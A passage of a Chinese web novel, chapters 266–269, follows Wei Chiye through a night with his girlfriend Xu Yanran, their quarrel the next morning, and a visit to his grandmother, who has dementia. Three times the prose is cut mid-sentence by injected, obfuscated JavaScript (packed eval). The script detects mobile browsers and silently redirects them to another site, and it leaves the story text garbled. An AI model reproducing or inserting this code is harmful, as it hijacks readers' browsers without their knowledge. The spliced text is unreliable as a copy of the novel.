所以还在自怨自艾什么?他起码还有她。他不是最惨的,比那些真正孤独的人好太多了。 “你冷不冷?”这时候,许嫣然突然说道。 蔚迟野看过去,只见女孩躲在被子里,只露了一双眼睛在外面。 “不,我不冷。”蔚迟野道。 “你没有被子。”许嫣然说。 “没关系,我这样就行。” 许嫣然盯着她,欲言又止。半晌,她声音极其微弱,说道:“要不……你还是上床来睡吧。” 蔚迟野眨眨眼,以为是自己听错了。 女孩没有看他,只是一副不好意思的模样,盯着自己身旁空白的床铺,“我一个人也睡不下这么大的床……” 她说完,不好意思地整个缩回了被子里,转过身去,不再和蔚迟野说什么,用背影冲着他,薄薄一床被子盖住了她身体的曲线。 蔚迟野在地上呆坐着,有点手足无措。他看着许嫣然给他留出来的那半边床,空间的确很大,再躺一个他上去也绰绰有余。 266. 氤氲2 女孩提出了邀请,他不知道有什么拒绝的必要。 地铺很硬,地板上有一股拖鞋的味道,躺在上面能明显听到周围几个房间里的人走动的声音。 无论怎么看,都是那洁白的大床舒适多了。 就这么思考了一阵,他从地上站了起来,默默抱起铺在地上的被子,把它拍干净,放在床上。 然后他也躺了上去,盯着天花板,感觉自己的呼吸有点小心翼翼。 一点困意都没有。 在接吻的第一天,就已经躺在同一张床上了? 进展是不是有些过于迅速了?虽然他们还什么都没做。 再突飞猛进就要冲出太阳系了,谁家情侣关系递进得这么快。 所以……没错,他得摆正自己的心态,他们只是躺在一张床上睡觉,没有其他的意思。 于是乎,蔚迟野猛地转过身去,背对着女孩,闭上眼睛,开始在心里数羊。 一只,两只……白色的绵羊,软绵绵的绒毛,圆滚滚的身体,在山上蹦蹦哒哒。 十只小绵羊,一百只小绵羊,像云彩一样,是香草味道的冰淇淋球。冰淇淋球……像一层层盖着厚雪的山峦,咬一口,消失一座山。 不对,他在数羊。 一百零一只,一百零二只……小羊在雪山上欢快地奔跑,白雪盖住细密的绒毛,它们往山下跑,越滚越大…… 等等,绵羊怎么会出现在雪山上? 不重要。总之,小羊滚成了一个大雪球,然后…… 这时候,背后传来的沙沙的声音,许嫣然似乎在翻身。 “迟野,你醒着吗?” 蔚迟野没回话,他在忙碌地进行自己的数羊事业,现在脑海里的羊已经进化成带着四驱可以喷火的战斗羊,但还不够,还需要一些超现代科技化的改装。 又是一阵摩挲声,他的被子被什么东西压住了,一条细嫩的胳膊搭在他的手臂上,背部传来柔软的触觉。 ……嗯? 数羊的蔚迟野感到困惑。 许嫣然在干什么? “我知道你没睡。”女孩的声音在背后响起。她伸出一只手来,抚摸着他的面庞,指尖描绘鼻梁的轮廓,而后又从下颚离开,划过胸膛,最后停在腰腹。 蔚迟野猛然睁开眼睛,机械羊倏然消失了。 这是干什么呢? 许嫣然的手没有继续下去,停顿了半晌,有些悻悻然地缩了回去,“……因为摩天轮上已经……所以你已经对我不感兴趣了吗?” 一听对方那委屈巴巴的音色,蔚迟野哪敢继续装睡下去,连忙说道:“没有。” 许嫣然没有发出“果然你没在睡觉”之类的抱怨,只是以一个有些忧伤的音色说道:“那为什么你不肯转过身来?” 蔚迟野闻言,心里彻底和他的改装羊告了别。 他顿了顿,这才慢慢转动自己的身体,面向三番五次对他提出邀请的女孩。 而他看到——看到月光之下,许嫣然不知何时掀开了自己的被子,浴巾也不翼而飞,月光她的皮肤上镀上了一层发亮的银色。 她的眼睛波光粼粼,举动不再羞怯,缓缓向蔚迟野靠近。像是怕把他吓跑了一般,每一个动作都是那么轻柔、小心翼翼。 女孩像是很冷,一个劲贴近他,像是要投入他温热的怀抱,以温暖她孤独的冷寂。 “很冷。”许嫣然说道,而她的身体的确是冰凉的。 蔚迟野也不知道是怎么回事,明明现在是夏天,夜里气温也不低,许嫣然却像是赤身处于秋天的室外,手脚都是冰凉的。 她看上去是那么的脆弱,就像冰晶一样,一碰就立刻会碎掉。 有了温暖对方的正当名义,蔚迟野伸出手臂,将女孩的身体裹进自己的怀里。 夜深人静,一切外界的声音都在放大,隔壁那十分有频率的撞击声又再度清晰了起来,仿佛在预兆着他们两人所在的房间将发生的一切。 而后,下一个发生的是吻。 还能是什么呢,这是进入状态最好的方式。 他伸出一只手去,攀上许嫣然的肩头,在女孩身体侧面曲线上玩他心心念念的过山车。 两个人的身体交叠在一起,密不可分。接下来要干什么,他很清楚。 可他又埋进许嫣然的脖颈里,吸了一口气,欲进还退地问:“我们这样……会不会太快了?” 他知道,无论许嫣然回答什么,他们都会继续下去。之所以还要问上这么一嘴,是想得到一个起码是两厢情愿的保证。 许嫣然一时没有说话,表现出大多她这个年纪的女孩会有的矜持。 她绝对不会说:我认为不快。 但是,她也绝对说不出什么拒绝的话来。 蔚迟野知道她的两难,女孩此刻只需表达出沉默就够了,接下来的话,他会替她说。 “但是,没关系吧?我是因为爱你,所以才会这么做。” 蔚迟野用真挚的目光看着许嫣然,女孩的眼中有被触动的波光,他绝对不会看错。 他是什么时候会说这种话的?曾经的蔚迟野显然不会。曾经的他只是个泡在学业里的书呆子,对周遭的事物几乎都没有什么感知,更不要说男女之间复杂的感情。 当下,许嫣然的沉默便是最大的肯定,虽然没给出明确的答复,但是,不曾远离的温热身躯就是无声的赞同。 一种被需要的满足感在此刻彰显,充盈着他的胸膛。 而那之后发生的事,水到渠成。 他们制造出了和隔壁别无二致的声响。 混沌之中,他好像找回了一些曾经的感受,那般肆意,那般畅快。他已经找不到那把陪伴他许久的剑,它遗落在那个虚拟的世界中,或许永远不会再回到他的手中。 耳旁再也不会听到惊恐的、濒临死亡的、令人毛发耸立的叫喊,相反,现在在耳边流连的,是女孩柔情的、示弱一般的、气绝似的呻|吟。 这和死亡有什么区别?不知道,但是她看上去快死了。 一种可以掌控她生命的错觉在心里蒸腾,这让他困惑。他有这样的权利吗? 那之后的突然某一刻,他被抛上了天空。 或许就是西方人常讲的天堂,这里什么都很美好,一切都充满了希望,大脑不断传达着快乐的指令,好像这天下没有什么做不成的事,每个梦想都将被顺利地实现。 而后,他慢慢坠了下来,快乐的感觉依然残存,只是没有最初那么强烈。大脑似乎想要维系住这种“什么都能做到”的膨胀之感,而使他的身体遁入了一种静默的模式,他突然对现实感到有些漠然,暂时不想回到那之中去。 他不知道女孩是什么时候离开的,回过神时,浴室的水声已经响起来了。 先是她洗澡,再是他洗澡,他们又重复了一遍刚进入房间时的工序。 热气腾腾的浴室中,蔚迟野仰头,让温热的水流浇灌全身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14392781|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后知后觉,他的脑袋开始转动起来。 他们居然真的做到了这一步。 只在这一天的时间里,他们就完成了其他情侣可能需要很久才会历经的过程。他不知道这是好是坏、是对是错,但是一切就那么自然而然地发生了。 这应该没什么问题吧? 他在自己内心问道。 反正他们永远都会在一起,而这些事情,早晚都会发生,早一些晚一些,对他们注定绑定终身的关系都没什么影响。 许嫣然是怎么想的? 这个问题出现了一瞬间,但很快被他忽略过去了。他知道这有点不对劲,但他就是懒得去想。 蔚迟野将这归咎于兴奋之后的倦怠,如果换个时间,他会愿意去思考,会关心她怎么想,而不会这么漠不关心,不会把她当成一个不需要有什么想法的、只需要跟在自己身后的、需要被保护的、与他身份地位并不平等的……某种东西来看待。 他长叹了一声,清洗一通过后,裹上浴巾离开了浴室,站在镜子前,拿起一旁的风筒,想要吹干自己的头发。 嗡鸣声响起来,布满了雾气的玻璃渐渐变得清晰起来。 就像是拉开帷幕一般,他在镜子里的倒影渐渐浮现。 蔚迟野的目光逐渐不再那么散漫,眉目微微蹙紧了起来。 ……又是他,他又来了。 镜子里的人与他面对面站着,长发是散乱的,鲜少地,那人灰色的眸子没有与他对视,视线垂落在一旁,显得有些没精打采。 蔚迟野有些不耐烦地盯着对方,目光向刺刀一样刺去。 “回去吧。”镜子里的人说。他朝镜面靠近,外衣上的银色挂坠随着动作而摇晃。回去吧,他又说了一遍,唇上挂着一丝凌乱的发,衬衫的扣子只系了两个,整个人显得有些狼狈,眼中也有种哀伤,十分深沉、浓郁。 蔚迟野皱着眉,刚想要说些什么,突然,他的右臂一阵巨痛,像是有无数针扎一般。他嘶了一声,猛然丢掉了手中的吹风机,它掉在洗手池里,发出巨大的声响。 “怎么了?!”许嫣然听到了巨响,小跑了过来,目光忧虑地盯着蔚迟野。 肩膀只是阵痛了片刻,转瞬就好了。回忆了一番,怎么想都是白天在游乐场的测力机那时使用蛮力的苦果,到现在居然还会作痛。 “没事。”他说,拔下吹风机的电源,“吓到你了吧。” “有点。”她说,“但是你没事就好。” “不吹头发了,就这么睡觉吧。”蔚迟野有些郁闷地说道。他看了眼镜子,对面的人已经不见了,徒留自己裹着浴巾的身影。 两人回到了卧室。许嫣然爬回床上,钻进被窝里,向蔚迟野问道:“你刚才说要回去?” 蔚迟野眨了眨眼睛,看着许嫣然,“你听到了?” “你要回家了吗?”女孩盯着男孩,眼里有些不舍,还有些被遗弃的可怜。 蔚迟野顿时有些混乱。他不想让女孩误会,于是解释道:“不,我的意思是……明天早上再回去。” “哦。”许嫣然的表情轻松了下来,像是不再为什么而担忧。 蔚迟野靠在床头上,捋了一把自己还有些潮湿的头发。 刚才,那句“回去吧”,是他自己说出来的? 不是脑海里的幻觉? 可对方不是杜光欧吗?是那个有别于自己的人。那人理应是一个自导自演的幻影,一个纠缠着自己的往日亡魂…… 267. 遗忘1 他懂了,是那个幻影在借用他的身体和他对话。居然把他变得这么奇怪,简直不可理喻。 为什么他离开样界这么久,还是没办法和那个世界划清界限,为什么还是会受到影响?也该结束了吧,昔日的亡魂理应消失,他已经不再是那个不死的男人了。 他回到了现实,生命的全部都在这个真实的世界之中。方远韶似乎不再打算让他进入样界,自己再也不会回去了,到底往日的幻像还要纠缠他到什么时候? “但我就是你。” 一个想法在脑海里冒出来,蔚迟野不由眉头蹙紧,身体一滑,钻进了被子里面。他用被角捂住了自己的耳朵,仿佛这样,那些声音就不会钻到他的脑袋里来一般。 他心里默念着,“不要再在我的脑海里出现,不要再和我说话。” 而这些咒语似乎起到了一些效果,他不知道自己是什么时候从被子里探出了头来,什么时候那些想法都纷纷散去,又是什么时候,精神遁入了梦乡。 第二天转醒,鸟鸣声在窗外传来。 蔚迟野抻了个懒腰,被柔软的被褥包裹着的感觉很好,他一时间不想起身。 眼珠转动,看到一旁许嫣然已经起了床,坐在床边上,身上已然换上了昨天的那身连衣裙。 看到她,一阵柔情从心底里升起来,他们已经不再是前天的关系,接下来的日子,两人不会再分开,将来无论路有多远,他们都会一起走下去。他会对她的一生负责。 许嫣然似乎没有注意到他睁眼,不知道他已经醒来。于是乎,蔚迟野悄悄爬起来,蹑手蹑脚来到了许嫣然的身后。女孩摆弄着自己的手机,在聚精会神地打字。蔚迟野在她身后弯腰,摆出潜伏的姿态,而后,一下子冲过去,紧紧抱住了她。 “早上好。”他抱着许嫣然,笑得开心。 许嫣然惊叫了一声,手中一抖,手机掉在了她的腿上。 蔚迟野看到她飞快地捡起手机,在屏幕上滑动了一下,关掉了一个聊天的界面。而对面的人是什么名字,两人说了些什么,他还没有来得及看清。 许嫣然没有因为他的突袭而生气或者开心,只是模样吓得不轻,但她很快平静下来,用正常的口吻对他说道:“你已经醒了呀。” “嗯,醒了。”蔚迟野挂在许嫣然的身上,像个树懒一样黏着她。他也不知道自己的脸皮怎么一日之间就变得这么厚了,明明昨天之前,他想牵许嫣然的手可能都要纠结一整个白天。 蔚迟野盯着对方的手机,没什么别的意思,只是好奇她大清早在和谁发消息。他语气轻快,心情也是一样,问道:“你在和谁聊天?” “和我妈妈。”许嫣然简短、快速地说道。 听她这么说,蔚迟野突然想到,自己也消失了一个晚上,会不会有人也在惦记着他? 不,应该不会吧。他的父亲蔚统是一个一心投身在事业上的人,母亲花天酒地,夜夜不归家,而蔚天楚和他只能说是表面兄弟,关系冷暖自知。同学们也是,连他的联系方式可能都没有,朋友这个词在他的脑海里更是对应不出任何一张现实世界中的脸。 怎么想,都不会有人联系他。 ……但是,万一呢?就让他不死心地看一眼。 想到这里,蔚迟野在床上滚了一圈,翻身到另一边的床头,摸来自己的手机。点亮屏幕,原本以为是空白的首页却显示着几十个未接电话,他定睛看去,发现全都是大姑打来的。 他一个挺身从温适的床上跳下来,下半身的浴巾差点被他甩掉。 大姑打来电话的时间是凌晨三点,那时候他早就睡死过去了,手机开了静音,震动也关了,所以没有接到。 她为什么会在这个时候给自己打电话? 大姑之前生活在另外一个城市,现在,为了照顾蔚迟野生病的奶奶而在医院附近租了个房子住。 难道是奶奶出了什么事吗? 蔚迟野只觉得自己的心脏漏跳了几拍,他立刻回拨给那个手机号,牙齿咬着指尖,身影在原地徘徊。 片刻之后,电话接通了。 刚接起来,对面的人还没有说话,蔚迟野便率先问道:“怎么了,大姑?” 对面传来一个熟悉的女人声音,“迟野,你在哪?” “我在……”蔚迟野看了眼许嫣然,他和女生出来玩这件事,暂时还不想让任何长辈知道,只好给出了一个模糊的答复,“我在市区外面。” 对面的人并没有追问他具体细节,只是说道:“我在医院,你来一趟吧。你奶奶念叨着你,一直在说想见你。” “奶奶没事吧?” “……还行,你先过来吧。”对方含糊地说。 蔚迟野感觉心提到了嗓子眼,他有些艰涩地发声,“我这就去。” 挂断了电话,他立在原地,一时有些焦虑。 如果只是奶奶单纯想要见他,大姑不会在凌晨三点的时候给自己打电话,一定是发生了什么,所以,她才会在夜深人静的时候打扰他。 决定了要去医院,蔚迟野立刻行动起来,翻出来昨天穿过的衣物,迅速地往身上套。他视线朝许嫣然的方向瞥去,只见女孩还在呆坐在床边上,依然是刚才的姿势,在手机上跟什么人打字聊天。 “嫣然,我要去中立医院一趟。你打一辆车吧,我先去退房。”蔚迟野快速地说道。 许嫣然一时没回话,视线粘在手机上,嘴上说道:“不如坐地铁回去吧?” “我着急去医院,地铁太慢了。”蔚迟野系好了衬衫扣子,又去收拾东西,把昨天赢来的奖品往背包里装。 “回去的路上可能会堵车。”许嫣然说。“时间都差不多吧。” “中立医院附近没有站点,走过去还要好一阵。” “……”许嫣然没说话。 “嫣然?打一辆吧,咱们东西太多了。” 女孩还是在手机上敲打着什么,背着他说道:“还是等一下你来打车吧。我收拾完后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404446|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱们一起去退房。” 听到这句话,蔚迟野顿时觉得自己的胃有点难受。不知为何,或许是因为焦急在他的身体里蒸腾,让他无法再控制自己的情绪。 一股火气胃里升了起来。为什么她就是不能按照他说的去做? 他去退房,她来打车,这是最快的方式了。她看起来还有很多出门前的准备步骤没做,化妆、洗漱、梳头,怎么看都还要花上一阵。正好他趁这个时间下楼退房,去纪念品商店把她昨天想要的一个毛绒玩具买回来,然后再去买点早餐,这时候女孩也差不多忙完了,打上车,他们就能直接出发。 当下,看着那在床上慢悠悠刷着手机,好像整个世界都可以为她等待的许嫣然,蔚迟野感觉到一丝无法遏止的恼怒。 他知道,自己应该耐下心来,告诉对方,他的奶奶在医院等他,他现在很着急。而叫她打车,是因为他不知道到她需要打扮多久,所以让她自己把握时间,收拾得差不多的时候就叫一辆车。 但是这些,蔚迟野统统没有说出口。 空气寂静地停顿,最终,他脱口而出的,却是这样的一句话: “为什么让你打个车这么难?” 一种他不熟悉的、冷漠的声音从嘴里冒出来。不,不能说不熟悉,这种冷淡的感觉,他熟悉得很,他只是不习惯用自己现在的音色,说出这种不带感情的语调来。 许嫣然转过头来,有些不敢置信地盯着蔚迟野,她的表情渐渐委屈起来,但是更多的是抱怨。像是因为他从来没有用这么冷漠的态度和她说过话,女孩脸上浮现出了愤愤不平的情绪。她声音拔高了一些,差不多在尖锐的边缘,“打车很贵啊……既然你想打车,那就你打啊。” 蔚迟野站在门口,他不想和许嫣然纠结这些,只想赶紧把房间退了,然后去医院。 两人是一起行动的,他没有想过要丢下她自己走。只不过,这样的想法却让他感到更加气愤,因为感觉自己好像被拖累了,女孩的形象陡然变成了一个怎么也拖不动的累赘,“有多贵?到底有多贵?你觉得贵我等一下就转给你。只是现在时间紧迫,我希望由你去做这件事。” 许嫣然像是被戳中了什么痛处,再度抬高音量,像是要压住对方的声音一般,“转给我。我已经花出去的钱,你再转给我。你当我是什么呀,蔚迟野,摇尾乞讨的可怜人吗?你们有钱人是不是都是这样?” 蔚迟野瞪大了眼睛,“你在说什么?” 许嫣然没解释,而是转过身去,气愤地在自己的手机上戳戳点点。 “什么可怜人,我从来没有那么——” “我打,行了吧?”许嫣然大声打断了他,一阵接单的声音传来,她举起手机朝蔚迟野晃了一下,“还有十分钟!” 说完,她扔下自己的手机,起身冲进了卫生间,啪的一声,摔上了卫生间的门。 蔚迟野在孤零零站在玄关,身上挂着一堆乱七八糟的行李,看向紧闭的门,心情有些复杂。 268. 遗忘2 两人产生了争吵,他下意识觉得不能就这么离开。然而,时间不多了,没有功夫再留给他思考怎么应对。于是乎,他默默从卡糟拨出房卡,又换了电源卡上去,打开房间门离开了。 心烦意乱地走进了电梯,下到一层,在前台办了退房手续。许嫣然说车还有十分钟就到了,权衡之下,他没有去纪念品店给她买玩偶,只简单买了些糕点当早饭。 从面包店出来的时候,看到许嫣然已经在酒店大堂门口等待。她头发束了起来,比昨天更有活力一些,加之好看的脸蛋和苗条的身材,整个人在大堂杂乱的人群中显得十分突出。 她看到了蔚迟野,瞟了他一眼,转身就往酒店外面走。而后上了一辆在等候的网约车,嘭一下关上门。 蔚迟野大包小裹地跟上去,透过小轿车的玻璃窗,他看到她坐在后座的右手边,没有给他挪位置的意思。蔚迟野只好拿着一堆东西,慢吞吞绕到另一边,废了半天劲才把行李和自己塞进了车里。 车门关闭,轮胎开始转动。蔚迟野对司机说要去医院看病人,请他快点,司机答应了一声。那之后,沉默在车厢里蔓延。 许嫣然盯着窗外,像是在欣赏风景。但蔚迟野知道绝对不是这样,她一定在生气。但是,他不知道该说些什么好,现在思绪很乱,医院的事牵动着他的神经,让他无法静下心来想想怎么哄她,也没精力分析刚才在酒店房间里发生的争执究竟是谁对谁错。 这时候,他的手机屏幕亮了起来,蔚迟野看过去,那上面是大姑给他发来的讯息。 她说他奶奶的病情很平稳,只是单纯想要见见蔚迟野,让他不要着急,路上小心。 大姑想必不会对他说谎,有了这句保证,蔚迟野的心也随之安稳了一些。现在干着急也没有用,再怎么焦躁,也不可能催司机超速。他倒是愿意催,但司机肯定不愿意照做。所以,此刻只能耐心等待,压制住自己心中的胡思乱想。 为了让自己分心,蔚迟野拼命思考坐在他右手边女孩的事。他望过去,盯着女孩的侧脸,有些踟蹰地说道:“等下……先和我一起进医院吧?之后我送你回家。” 许嫣然一只手拄着自己的脸颊,盯着窗外转瞬即逝的风景,一言不发。 没有得到回应,蔚迟野觉得自己的胃里有些烧得慌,压力隐隐袭来,另一方的沉默让他本能地不太舒服。他换了个话题,又对她说道:“我刚才有点心急了……对不起。大姑打电话跟我说,奶奶在医院想见我。” 许嫣然还是沉默地望着窗外,他们之间仿佛有一道透明的玻璃,无论蔚迟野说什么,都传递不过去。 “对了,在游乐场照的照片,你能发给我吗?”见她不回答,蔚迟野想尽了办法寻找话题,指望着某件事能够引起她的兴趣,“我也把我照的发给你。” 说着,他打开手机相册,把许嫣然的照片挑出来,单独发给了她。许嫣然握在手里的手机嗡嗡响了几声,但是,女孩还是没有什么反应。 蔚迟野看着她沉默的侧脸,感觉自己好像在对一个石头说话。女孩无疑还在因为宾馆中发生的争执而生气,但是,蔚迟野不知道该怎么劝好了,他已经解释了原因,再多也不知该说什么。 为什么她还是这么沉默?只是不想和他说话,还是在等他进行更多的忏悔? “对了,这次的打车费……”蔚迟野想起来,他们之前好像在这个问题上也发生了争执。当时许嫣然说的那番‘可怜人’之类的话他到现在也无法理解,怕又惹到对方,于是小心翼翼地问道,“你希望我转给你,还是……?” 他期待对方的回话,但许嫣然只是眨了眨眼睛,继续无视他。 “……你一直不说话,我不知道你的想法,嫣然。”蔚迟野说道。 他说完,司机都朝后视镜看过来,好奇地打量着这一对明显闹了什么矛盾的小情侣。 但许嫣然似乎铁了心让他难堪,窗外吹拂而过的凉风都比她热情。 他没辙了,长叹了一声,也放弃了继续尝试和对方交谈。望着自己那一侧的窗户,外面的清风扑在脸上,却无法让他心里痛快半点。 两人之间的无言一直持续到了中立医院门前。 网约车停靠在路边,来来往往的行人进出院门,无人在意夏日树荫的阴凉。 两人一左一右打开车门,许嫣然只拎着自己的包,别的什么也没拿,下车之后就直奔一旁的公交站点。 蔚迟野只好把那些奖品玩偶全都承包了,笨拙地抱着它们,跟上许嫣然的步伐。 “嫣然。”蔚迟野喊她。女孩的脚步似乎比以往任何时候都要快,他得加快脚步才能追上她。 临近了,他腾出一只手来,一把抓住了女孩的手腕。对方被他拽得一顿,但没有转过身来。 蔚迟野对着她的背影说道:“和我说句话好吗?从刚才开始,你就一直沉默。” 女孩拧动了一下,想要挣脱,但是蔚迟野紧紧抓着她不松手。 许嫣然这才转过来,瞪着眼睛,愤怒地说道:“你还要我怎么样?我已经打车把你送到了医院,现在我要回家。” “那……起码把奖品拿走吧。”蔚迟野退让了一步说道。 许嫣然犹豫了一下,她看了一眼蔚迟野怀里的一堆东西——巨大的玩具熊,小型的蛇形玩偶,一只银色的昂贵发卡,赠送的塑料人物卡,还有一袋子包装精美白巧克力。 许嫣然拿过了那只银色发卡,又接过巧克力袋子,蓦然转身,又要往公交站走。 蔚迟野以为对方接走东西是态度转好的信号,于是追上去说道:“嫣然,之前的事是我做得不对,我太着急了,说的话你不爱听。你要是对我有什么看不顺眼,觉得心里不爽的地方,尽管说出来。” 许嫣然盯着公交站牌,轻轻地哼了一口气,低声说:“我怎么敢啊。” 这句话听得蔚迟野云里雾里。还想再说些什么时,一辆公交车驶进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14413481|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公交站。蔚迟野记得这条线路并不经过许嫣然的家,然而女孩还是提着礼品袋子走了上去。 公交车门关闭,长条形的铁皮箱子嗡嗡地启动了,它驶向下一个站点,女孩的身影也随之离开了他。 他抱着几乎和自己一样高的玩具熊,呆呆地在公交站台站了一会。 没想到这次游乐场之旅的结局会这样的不愉快。 明明从昨天中午到今天早上一直都还好好的,究竟哪里出了问题? ……一直都好好的吗?还是有些细微的异样他不愿意察觉。 蔚迟野晃了晃脑袋。不想了。 两人现在没办法展开有效的沟通,还是暂时与对方分开,各自静一静吧。 这么想着,蔚迟野离开了公交站台,往医院的方向走去。 进入了充满药味的建筑,蔚迟野和前台打过招呼,而后熟门熟路地走向奶奶的病房。 来到近处,发现门开着,里面传来了轻声细语的交流声。他走进去,只见奶奶依然以与以往无异的姿势躺在床上,另一旁,一个身材略显臃肿、神态和蔼的女人坐在一只黄木圆凳上,正在剥一个半只手掌大的橘子。 看到蔚迟野来了,剥橘子的女人笑起来,冲他招招手,“迟野,你来了。” 那是他的大姑,也是最频繁来照顾奶奶的人。老人的儿子蔚统很少来病房探望,只是往医院里丝毫不吝啬地花钱。而蔚迟野的母亲更是几乎不在这里出现,连老人家得了什么病也不知道,随随便便买东西送过来,也不管老人家吃了会不会有什么问题。 这一对夫妻都指望不上。蔚迟野心想。也就只有可靠的大姑会留下来陪伴奶奶,照顾她。 如果不是自己先是在忙学业后来又忙实验,蔚迟野也想这样。 他走到了床边上:“奶奶,我来了。” 年迈的女人转过了头来,好奇地看着他,又向一旁自己的女儿问道:“这是谁啊?” 蔚迟野看着奶奶的模样,有些发愣,征询地看向自己的大姑。 大姑垂下视线,把橘子放在一边,长舒了一口气,用厚实的手掌握住老人的手,解释道:“她最近眼睛看不太清,耳朵也不太好,精神头虽然够,就是渐渐记不得大家是谁了。迟野你试试,你说你是她孙子,她肯定能想起来。” 蔚迟野茫然地眨了眨眼睛,他从来没有想象到这种情况。明明距离上一次过来看奶奶,并没有过去多久,为什么在这么短的时间里她的病情会恶化得这么快?为什么,她会这么快就衰老了? “……奶奶,是我,我是迟野。”他凑上去,以便对方看清自己的容貌。他说出自己的名字,希冀对方回想起哪怕一丝相关的回忆。 老人家乐呵呵的,像是没有什么烦心事一般,说道:“这娃娃长得真讨人喜欢,是谁家的呀?” 看着对方那喜爱却陌生的眼神,蔚迟野只感到心脏一阵抽痛。 她把他忘了?怎会这样…… 269. 遗忘3 “娃娃怎么不说话?” 他颤抖的吸了口气,回答,“……我是你家的。” “我家的?”老人发出疑惑的声音。 “我是你的孙子。”蔚迟野说。 老人模样有些震惊,而后,她转头摆正了自己脸,打量着蔚迟野的模样,说道:“我儿有孩子啦?” “已经有了好些年了。”蔚迟野说道。 老人笑得开怀,“哈哈,好呀,你可真会讨我开心。” 蔚迟野皱着眉,他还想说什么,但是,只觉得自己的胸膛堵得慌。他近乎求救一般看向自己的大姑,女人叹息一声,说道:“唉,她现在能想起谁来,全看运气。昨天晚上就是,突然想起你来,说要见你,所以,我才打电话叫你来。不过,她也就念叨了那么一小会,睡着之后再醒过来,已经又是谁也认不得了。” 人会遗忘,这是必然。 奶奶已经在床上躺了好几年了。最开始的时候,他们都以为,她早晚有一天能从病床上站起来。但是,这一天一直都没有到来。 他们如何都没有想到,只是因为上厕所的时候摔了一跤,老人便再也站不起来了。那之后她一直躺在病床上,墙倒众人推一般,各种各样大大小小的病症都接连找上了门来。 蔚迟野回想着过往,隐约感觉到一丝哀痛。最初的时候,奶奶是不是也认为自己肯定能从床上站起来?那时大姑他们还会给奶奶做康复训练,希望她早些好起来。 但是,近些年来,他们已经不再做这些了。老人的肌肉在一日日衰竭。他们就像主动为她断绝了再站起来的可能性,不再训练她的双腿,用这种残忍的方式告诉她,余生只能躺在床上度过。 她的身体越来越轻,脸部曾经饱满的轮廓也一点点塌陷下去了,目光渐渐浑浊,声音也一日比一日沙哑。 这一切,都是步向衰败的征兆。 最开始的那几年,她还会用子女们带来的电子设备看看电视剧或新闻,但是,后来却不看了,说看不懂那上面的字,也听不太懂电视剧里人们说的话,注意力跟不太上了。 那之后她要么就是盯着窗外,要么就是盯着天花板发呆。 在这脑海空白的漫长等待中,遗忘是必然。 先是遗忘以前的事,然后是遗忘和自己有着牵绊的人,之后忘却自己是谁,只是活着。 蔚迟野感觉到一阵凉意,像是秋天的风突然吹进了这个病房,预示着一个季节轮回的迟暮。 关门的声音从背后响起,大姑不知道什么时候离开了。蔚迟野从思绪里抽身,想起来大姑刚才好像说要去办什么手续。 当下,房间里只剩他和奶奶两个人。 他握住了奶奶的手,而老人家盯着他们相握在一起的手,把自己的另一只手也交叠上来,像是感觉很有趣的样子,低低地笑了起来。 不管对方还能不能想起来他是谁,蔚迟野还是想把想说的话传达给她,“奶奶,我应该很快就能去亚森学院上学了。” 老人抬眼看着蔚迟野,模样了然,“喔,要上好大学了呀。可以呀,乖娃娃,上了大学之后要认真学习,只有学好了,将来才能有一番大作为。” 蔚迟野耷拉着眼睛,他想,大作为?他从来没有想过什么大作为。这条路是父亲为他铺好的,他只要需要闷头往下走就是了。但是这些话他不能在奶奶的面前说。 “嗯,我一定会。”蔚迟野答。 老人家蜷起自己的食指,用指关节刮了一下蔚迟野的鼻尖。蔚迟野顿时有点发愣,因为,这是奶奶曾经经常对他做的动作。而自从她躺在床上以来,他已经不记得多久奶奶没有对他做过这个动作了。 “你这小娃娃,看着顺眼,就是怎么一直愁眉苦脸的?”老人家说。 蔚迟野迷茫地问道:“我吗?” 他虽然因为奶奶的病情而感到难过,但应该没有那么容易看出来吧? “可不,好像有什么投胎也解不开的深仇大恨似的,一张死人脸。”老人家毫不客气地说道。 蔚迟野一愣,然后有些哭笑不得。他想起来,奶奶曾经就是个口无遮拦的小老太,只是躺在这病床上之后,嘴上不再那么锋利。 过去的影子还在,这让他感觉到欣慰,奶奶还是那个奶奶。 “我哪有。”蔚迟野笑着说道,难得找回了往日的温馨。曾经那些年,上下学都是奶奶接他,回家的路和路上的小卖部构成了他童年中的一大部分,那些儿时的愉快记忆几乎都是奶奶给他的,“奶奶,你真的想不起来我是谁了吗?” 老人眯起眼睛,盯着眼前的年轻人,她说道:“没有,我不认识你。” “我真的是你的孙子。”蔚迟野有些无奈,说道。 老人家摇摇头,“你长得跟我儿子一点也不像,别唬我啦,小伙子。” 蔚迟野再度哭笑不得,怎么可能呢。 